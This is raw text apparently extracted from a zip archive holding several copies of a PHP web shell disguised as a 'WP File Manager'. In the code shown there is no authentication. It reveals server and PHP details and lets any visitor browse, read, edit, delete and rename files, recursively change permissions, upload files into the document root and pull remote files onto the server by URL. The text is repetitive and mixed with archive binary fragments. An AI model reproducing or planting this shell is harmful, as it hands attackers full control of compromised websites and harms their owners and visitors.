0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@bleje.net/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@bleje.net/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - 